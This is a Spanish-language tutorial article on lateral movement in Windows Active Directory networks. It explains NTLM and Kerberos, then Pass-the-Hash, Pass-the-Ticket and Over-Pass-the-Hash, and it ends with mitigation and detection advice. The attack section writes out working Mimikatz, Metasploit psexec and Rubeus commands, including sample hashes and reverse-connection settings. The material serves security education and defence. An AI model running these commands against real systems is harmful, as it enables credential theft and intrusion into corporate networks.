Movimiento Lateral

La simulación de adversarios, el compromiso inicial de una máquina es solo el primer paso de una intrusión. Una vez que un atacante logra establecer un punto de apoyo en un sistema, rara vez ha alcanzado su objetivo final. Las joyas de la corona (como los servidores de producción, las bases de datos de clientes o los controladores de dominio) suelen estar fuertemente resguardadas en zonas profundas de la infraestructura. Para cerrar esa brecha entre el acceso inicial y el objetivo estratégico, se ejecuta el proceso conocido como movimiento lateral.

El movimiento lateral representa la fase táctica en la que un actor de amenazas expande su control a través de los sistemas interconectados de una red interna. A diferencia de las fases iniciales, donde se explotan vulnerabilidades de software orientadas al exterior, el movimiento lateral se caracteriza por el uso y abuso de funcionalidades legítimas del sistema operativo, protocolos de red estándar y, fundamentalmente, credenciales válidas que han sido recolectadas en los equipos previamente comprometidos.

Entender los mecanismos subyacentes de este fenómeno, los protocolos de autenticación que lo facilitan y las herramientas técnicas utilizadas para ejecutarlo es indispensable tanto para los profesionales que realizan pruebas de penetración como para los equipos encargados de la defensa y el monitoreo de redes corporativas.

Fundamentos del Movimiento Lateral en Redes

Cuando un atacante compromete de forma exitosa una estación de trabajo común, se encuentra en un entorno de red interna estructurado. El movimiento lateral es el puente que le permite saltar de esa máquina inicial hacia sistemas con mayor valor estratégico o mayores niveles de privilegios. Entre los objetivos más comunes dentro de este despliegue táctico se encuentran:

• Controladores de Dominio (DC): Constituyen el núcleo de la identidad de un entorno Active Directory. Tomar el control de un DC equivale a poseer las llaves de toda la infraestructura corporativa.

• Servidores de Archivos: Repositorios centralizados donde las organizaciones guardan datos operativos, documentos de diseño, propiedad intelectual o registros financieros.

• Bases de Datos Internas: Almacenes de información crítica, credenciales adicionales o datos sensibles de clientes que no están expuestos directamente a Internet.

• Máquinas de Administración o Sistemas de Backup: Equipos desde los cuales los administradores gestionan la red, o donde se guardan las copias de seguridad de los sistemas, lo que los convierte en objetivos ideales tanto para la exfiltración como para ataques destructivos.

La peligrosidad intrínseca del movimiento lateral radica en que las acciones ejecutadas suelen mimetizarse con el tráfico cotidiano de la red. Los atacantes no buscan necesariamente tumbar servicios o alterar configuraciones de forma ruidosa; en su lugar, utilizan protocolos nativos de administración como Server Message Block (SMB), Windows Management Instrumentation (WMI), Remote Procedure Calls (RPC), Windows Remote Management (WinRM) o el Protocolo de Escritorio Remoto (RDP). Dado que los administradores de sistemas emplean estas mismas herramientas diariamente para realizar tareas de soporte y mantenimiento, separar la actividad legítima de una intrusión maliciosa se convierte en uno de los mayores desafíos para los centros de operaciones de seguridad.

Arquitectura de Autenticación en Windows: El Terreno de Juego

Para comprender cómo se manipulan los accesos dentro de un entorno Windows, es imperativo analizar los dos protocolos de autenticación principales que coexisten en estos ecosistemas: NTLM y Kerberos.

El Protocolo Heredado: NTLM (NT LAN Manager)

NTLM es un protocolo basado en un esquema de desafío-respuesta que, a pesar de ser considerado antiguo y haber sido superado por alternativas más seguras, sigue activo en la inmensa mayoría de las redes modernas por razones de compatibilidad con sistemas e infraestructura legada.

El funcionamiento básico de NTLM no requiere que el usuario envíe su contraseña en texto plano a través del cable. En su lugar, el proceso sigue un flujo matemático específico:

1. El cliente solicita iniciar una sesión en un servidor remoto.

2. El servidor responde enviando un valor aleatorio de un solo uso conocido como “desafío” (challenge).

3. El cliente toma ese desafío y lo cifra utilizando el hash NTLM de la contraseña del usuario (el cual está almacenado localmente), generando una “respuesta” (response) que se envía de vuelta al servidor.

4. El servidor, o en su defecto el controlador de dominio que posee el hash original del usuario, realiza la misma operación matemática para verificar si la respuesta enviada por el cliente coincide con sus propios cálculos. Si los valores son idénticos, la autenticación se da por válida.

Desde la perspectiva de la seguridad, este diseño presenta una debilidad estructural severa: el sistema de autenticación no valida la identidad mediante el conocimiento de la contraseña alfanumérica original, sino mediante la posesión del hash criptográfico correspondiente. Si un atacante consigue extraer el hash NTLM de la memoria volátil de un equipo comprometido o de las bases de datos locales, el protocolo aceptará ese hash directamente como un mecanismo válido para construir la respuesta del desafío, sin importar que nunca se haya introducido la clave real. Además, NTLM carece de un contexto estricto de sesión o de origen, lo que abre la puerta a la reutilización directa del valor hash en múltiples máquinas de la red donde ese usuario tenga permisos de acceso.

La Alternativa Moderna: Kerberos

Kerberos es el protocolo de autenticación por defecto en los dominios Active Directory y fue diseñado para mitigar muchas de las carencias estructurales de NTLM. Su arquitectura no se basa en desafíos directos entre cliente y servidor, sino en una infraestructura de confianza centralizada que utiliza boletos o tickets temporales emitidos por un organismo central denominado Centro de Distribución de Claves (KDC), el cual reside en los controladores de dominio.

El ecosistema de Kerberos gira en torno a dos tipos fundamentales de tickets:

• TGT (Ticket Granting Ticket): Es el boleto inicial que demuestra la identidad del usuario dentro de la red. Se emite después de que el usuario proporciona sus credenciales en su estación de trabajo y es cifrado de tal forma que solo el KDC puede leerlo y validarlo. Este boleto se aloja en la memoria protegida del sistema del usuario.

• TGS (Service Ticket): Es un boleto específico requerido para interactuar con un servicio concreto dentro de la red, como un directorio compartido vía SMB o una consulta LDAP. El usuario no solicita este pase directamente al servicio, sino que presenta su TGT ante el KDC para pedir un TGS adaptado al recurso que desea consumir. Una vez obtenido, el cliente presenta este TGS al servidor de destino para que este valide su legitimidad y le conceda el acceso.

Kerberos ofrece ventajas contundentes frente a NTLM: la contraseña o sus derivados directos nunca viajan por la red (ni siquiera de forma cifrada en un desafío) , se implementa la autenticación mutua (el cliente sabe con certeza que el servidor es quien dice ser y viceversa) , y cada ticket emitido posee un periodo de caducidad estricto que de forma predeterminada se establece en 10 horas. Sin embargo, a pesar de su robustez teórica, Kerberos introduce nuevos vectores de ataque si los componentes de identidad que se almacenan en la memoria de los equipos locales son extraídos por un actor malicioso.

Técnicas de Explotación Práctica en Entornos Windows

El abuso de los protocolos descritos ha dado lugar a metodologías de ataque altamente efectivas y ampliamente documentadas dentro del marco táctico del movimiento lateral.

Suplantación de Identidad mediante Pass-the-Hash (PTH)

La técnica Pass-the-Hash se fundamenta directamente en el comportamiento del protocolo NTLM. Cuando un usuario inicia sesión en una máquina Windows, el sistema operativo procesa sus credenciales y genera hashes que quedan alojados en procesos del sistema encargados de la seguridad, como el Servicio de Subsistema de Autoridad de Seguridad Local (LSASS). Si un atacante cuenta con privilegios administrativos en esa máquina local, puede volcar el contenido de la memoria de LSASS empleando herramientas especializadas o mediante scripts automatizados.

Una vez recolectado el hash NT de una cuenta (por ejemplo, de la cuenta del Administrador local o de un usuario de dominio que haya iniciado sesión previamente en ese equipo), el atacante no invierte tiempo ni recursos en intentar romper el cifrado mediante ataques de fuerza bruta o diccionarios para averiguar la contraseña original. En su lugar, utiliza herramientas que permiten inyectar ese hash directamente en el flujo de autenticación de una nueva sesión de red. El sistema remoto recibirá el hash, calculará el desafío-respuesta correctamente y otorgará acceso completo a la máquina de destino basándose únicamente en la coincidencia del valor hash.

Para ilustrar este escenario en un ejercicio de evaluación de seguridad, consideremos el uso de la suite Mimikatz. Desde una consola con privilegios de administrador en el sistema comprometido, se puede ejecutar el comando:

mimikatz # sekurlsa::pth /user:netadmin /domain:WIN-K8L4U8BAGNT /ntlm:A4F49C406510BDCAB6824EE7C30FD852 /run:cmd.exe

Al procesar este comando, Mimikatz interactúa con el sistema operativo para crear un nuevo proceso (en este caso, una nueva consola de comandos cmd.exe) asociado a una estructura de credenciales falsificada, donde el campo del hash NTLM ha sido suplantado con el valor robado (A4F49C406510BDCAB6824EE7C30FD852). A partir de ese momento, cualquier comando de red que se ejecute desde esa consola específica hacia un servidor remoto (como intentar listar un directorio compartido mediante el comando dir \\servidor\c$) utilizará de forma automática el hash inyectado para autenticarse, permitiendo al atacante tomar control del recurso remoto sin haber conocido jamás la contraseña en texto plano del usuario netadmin.

Otro entorno común para la ejecución de este ataque es el framework Metasploit, que ofrece módulos automatizados para interactuar a través del protocolo SMB. Un evaluador de seguridad puede iniciar la consola central mediante msfconsole y buscar los componentes orientados a la ejecución remota de comandos cargando el módulo correspondiente:

msf > use exploit/windows/smb/psexec

Posteriormente, se definen los parámetros de red esenciales, como la dirección IP de la máquina que se desea atacar en la variable de destino (set RHOSTS 192.168.1.20) y los datos de la máquina local que recibirá la conexión de retorno (set LHOST 192.168.1.10). En lugar de configurar una contraseña convencional, Metasploit permite ingresar la cadena hash completa en la variable destinada a la autenticación:

msf exploit(msb_psexec) > set SMBUser administrador
msf exploit(msb_psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:cc36cf7a8514893efccd332446158b1a

En esta cadena, la primera sección corresponde al hash LM histórico (que a menudo se rellena con una cadena genérica por defecto) y la segunda sección representa el hash NT activo. Al lanzar el comando de ejecución, el módulo realiza la negociación SMB completa, valida los accesos utilizando exclusivamente los hashes proporcionados y, si la cuenta posee los privilegios suficientes en el host remoto, despliega un agente de control (como una sesión de Meterpreter) directamente en la memoria del sistema objetivo.

Otras herramientas ampliamente utilizadas en auditorías de red para automatizar estos despliegues laterales sobre múltiples objetivos en paralelo incluyen utilidades de la suite Impacket (como impacket-psexec o impacket-wmiexec), así como plataformas de escaneo y ejecución táctica como crackmapexec.

Reutilización de Tickets mediante Pass-the-Ticket (PTT)

Cuando el entorno de red opera estrictamente bajo Kerberos y la autenticación NTLM se encuentra deshabilitada o restringida, los atacantes mutan su estrategia hacia la técnica Pass-the-Ticket. En este escenario, el objetivo ya no es extraer el hash criptográfico de la clave, sino capturar los boletos de identidad que el sistema operativo almacena dinámicamente para evitar que el usuario deba introducir sus credenciales a cada momento.

Si un atacante logra comprometer una máquina donde un administrador del dominio o un usuario con privilegios elevados tiene una sesión activa, puede extraer de la memoria del proceso LSASS los archivos con extensión .kirbi, los cuales contienen las estructuras de datos de los tickets TGT o TGS válidos. Una vez que posee este archivo de boleto, el atacante puede transferirlo a su propia máquina de trabajo o inyectarlo directamente en otra sesión activa dentro de la red corporativa.

Utilizando nuevamente capacidades avanzadas de manipulación de memoria, un comando como el siguiente permite cargar un ticket previamente exportado dentro de la sesión del proceso actual:

mimikatz # kerberos::ptt C:\Users\usuario\ticket.kirbi

Al ejecutarse esta instrucción, el sistema operativo absorbe el ticket depositado en el archivo .kirbi y lo asocia a la sesión del usuario actual. Cuando el atacante intente conectarse a un servidor de la red, el subsistema de seguridad de Windows detectará que ya existe un ticket Kerberos válido en memoria y lo presentará de forma automática ante el recurso de destino. Mientras el boleto se encuentre dentro de su ventana de tiempo legal de validez (las 10 horas estándar), el acceso será concedido de manera transparente, evadiendo por completo los controles que buscan firmas o patrones de autenticaciones basadas en NTLM. Para implementaciones basadas en herramientas escritas en C#, la utilidad Rubeus proporciona un ecosistema robusto para la manipulación, solicitud e inyección de estos componentes sin necesidad de interactuar directamente con consolas interactivas pesadas.

Generación Sintética con Over-Pass-the-Hash (Pass-the-Key)

Existe una variante técnica híbrida sumamente potente conocida como Over-Pass-the-Hash o Pass-the-Key. Esta aproximación se utiliza cuando el atacante únicamente ha podido recolectar el hash NTLM de un usuario de dominio, pero la infraestructura interna exige obligatoriamente credenciales Kerberos para interactuar con los servidores clave, impidiendo el uso de un ataque Pass-the-Hash convencional.

En lugar de intentar autenticarse directamente ante el servidor final mediante NTLM, el atacante utiliza el hash NTLM robado para iniciar un proceso legítimo de solicitud de credenciales ante el controlador de dominio (KDC). El atacante simula el comportamiento de una estación de trabajo que cifra la marca de tiempo inicial del protocolo utilizando el hash como clave criptográfica base. Si el hash corresponde al usuario correcto, el KDC descifrará la solicitud de manera exitosa y, asumiendo que es una petición legítima, generará un ticket TGT auténtico firmado por el dominio y lo enviará de vuelta al atacante.

Una herramienta especializada como Rubeus permite automatizar este flujo complejo mediante una única línea de comando:

Rubeus.exe asktgt /user:admin /rc4:<NTLM_HASH> /domain:empresa.local

Este comando contacta directamente al KDC solicitando un TGT para el usuario admin dentro del dominio empresa.local, empleando el algoritmo RC4 alimentado por el hash NTLM capturado. Una vez que el KDC responde positivamente emitiendo el boleto real, el propio framework permite inyectarlo inmediatamente en la sesión de uso mediante un comando complementario de Pass-the-Ticket, transformando de manera efectiva un hash NTLM estático en una credencial Kerberos dinámica y plenamente operativa en todo el Active Directory.

Estrategias de Mitigación y Hardening Defensivo

Dado que el movimiento lateral depende fundamentalmente del abuso de funciones e identidades válidas de la red, su prevención y detección eficaz requiere de un enfoque de defensa en profundidad que abarque tanto la configuración de directivas de grupo como el monitoreo analítico del comportamiento de los sistemas.

Endurecimiento de la Configuración de Red

La primera línea de defensa consiste en reducir la superficie de ataque disponible para el abuso de protocolos. Siempre que la infraestructura de aplicaciones e infraestructura lo permita, se debe planificar la eliminación gradual y total del uso de NTLM en toda la red corporativa mediante el uso de Directivas de Grupo (GPO). Al obligar a todos los sistemas a autenticarse exclusivamente mediante Kerberos, se anula de inmediato la viabilidad de los ataques tradicionales de Pass-the-Hash.

Para aquellos entornos donde la coexistencia de protocolos es obligatoria, resulta indispensable implementar la Solución de Contraseña de Administrador Local (LAPS) de Microsoft. Un error de configuración crítico y recurrente en entornos empresariales es asignar la misma contraseña para la cuenta de Administrador local incorporada en todas las estaciones de trabajo y servidores de la organización. Bajo este esquema deficiente, si un atacante obtiene el hash del administrador local en una sola máquina de soporte, puede utilizar la técnica Pass-the-Hash para tomar el control de cualquier otro equipo de la red que comparta la misma credencial. LAPS mitiga este riesgo de forma definitiva al automatizar la generación de contraseñas aleatorias, robustas y totalmente únicas para la cuenta de administración local de cada equipo del dominio, almacenando dichos valores de forma cifrada en los atributos de Active Directory.

Adicionalmente, se deben aplicar políticas estrictas de restricción de inicio de sesión para las cuentas que poseen altos niveles de privilegios. Las cuentas de administradores de dominio deben estar configuradas para que únicamente puedan iniciar sesión en sistemas altamente protegidos (como los propios controladores de dominio o estaciones de trabajo de administración dedicadas y aisladas). Se debe prohibir explícitamente que estas cuentas con superprivilegios inicien sesión en estaciones de trabajo estándar o de usuarios finales, ya que de hacerlo, dejarían expuestos sus hashes y tickets en la memoria LSASS de equipos que son mucho más vulnerables a compromisos iniciales por vectores comunes como el phishing.

Monitoreo Activo y Detección de Anomalías

Desde la perspectiva de la supervisión, los equipos de defensa deben configurar sus herramientas de gestión de eventos e información de seguridad (SIEM) para auditar e identificar patrones específicos vinculados a la manipulación de identidades. En entornos Windows, la telemetría de los registros de eventos de seguridad proporciona indicadores sumamente valiosos:

• Eventos 4768 y 4769: Registran las solicitudes de Tickets Granting Tickets (TGT) y Service Tickets (TGS) ante el KDC. Patrones inusuales, como la solicitud masiva de tickets para múltiples recursos en un lapso de tiempo extremadamente corto o peticiones de tickets utilizando algoritmos de cifrado débiles o inusuales (como RC4 en entornos donde predomina AES), suelen delatar la presencia de herramientas automatizadas de recolección o ataques de Over-Pass-the-Hash.

• Evento 4624: Documenta los inicios de sesión exitosos en un sistema. Al analizar este evento, es vital prestar atención al campo denominado “Tipo de Inicio de Sesión” (Logon Type). Las conexiones ejecutadas mediante herramientas de movimiento lateral basadas en SMB o RPC (como PsExec o scripts de Impacket) suelen generar inicios de sesión de Tipo 3 (Red) acompañados de credenciales que no registran un proceso de inicio de sesión físico previo, lo que permite diferenciar estas acciones del comportamiento de un usuario que accede a un recurso compartido legítimo.

La segmentación estricta de la red juega un papel crucial. Aislar los segmentos de red destinados a los usuarios comunes de las zonas que albergan los servidores de bases de datos, los controladores de dominio y los sistemas de respaldo impide que una estación de trabajo comprometida tenga conectividad directa hacia los activos críticos de la empresa. Al bloquear el tráfico innecesario en los puertos nativos de administración (como el puerto 445 de SMB o los puertos de administración dinámica de RPC) mediante cortafuegos internos, se interrumpe la capacidad del atacante para escanear, propagarse y consolidar su control a lo largo de la infraestructura organizacional.